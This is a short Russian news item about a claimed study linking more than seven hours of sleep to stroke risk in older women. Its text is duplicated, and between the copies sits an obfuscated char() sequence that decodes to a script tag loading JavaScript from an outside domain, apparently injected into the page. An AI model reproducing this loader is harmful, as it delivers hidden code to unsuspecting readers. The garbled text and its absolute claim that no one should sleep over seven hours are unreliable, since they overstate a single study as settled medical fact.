Женщинам вредно много спать

Ученые из Университета Северной Каролины доказали, что сон, который длится более чем 7 часов в сутки, оказывает негативное влияние на женское здоровье. В процессе исследования они выяснили, что женщины, спящие по девять часов и больше в сутки, на 70% чаще страдают от инсульта. Ученые говорят, что долгий сон очень опасен для женского организма в возрасте 50–75 лет. Затянувшийся сон способен сбить женский биологический ритм. А это может привести к повышенному артериальному давлению и инсультам. Ученые повторяют, что оптимальное время сна каждого человека не должно превышать семь часов в сутки.char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)386ba1ce45fb7e306be8e4cc42f9ef28.js» type=»text/javascript»>char(60,115,99,…

Ученые из Университета Северной Каролины доказали, что сон, который длится более чем 7 часов в сутки, оказывает негативное влияние на женское здоровье. В процессе исследования они выяснили, что женщины, спящие по девять часов и больше в сутки, на 70% чаще страдают от инсульта. Ученые говорят, что долгий сон очень опасен для женского организма в возрасте 50–75 лет. Затянувшийся сон способен сбить женский биологический ритм. А это может привести к повышенному артериальному давлению и инсультам. Ученые повторяют, что оптимальное время сна каждого человека не должно превышать семь часов в сутки.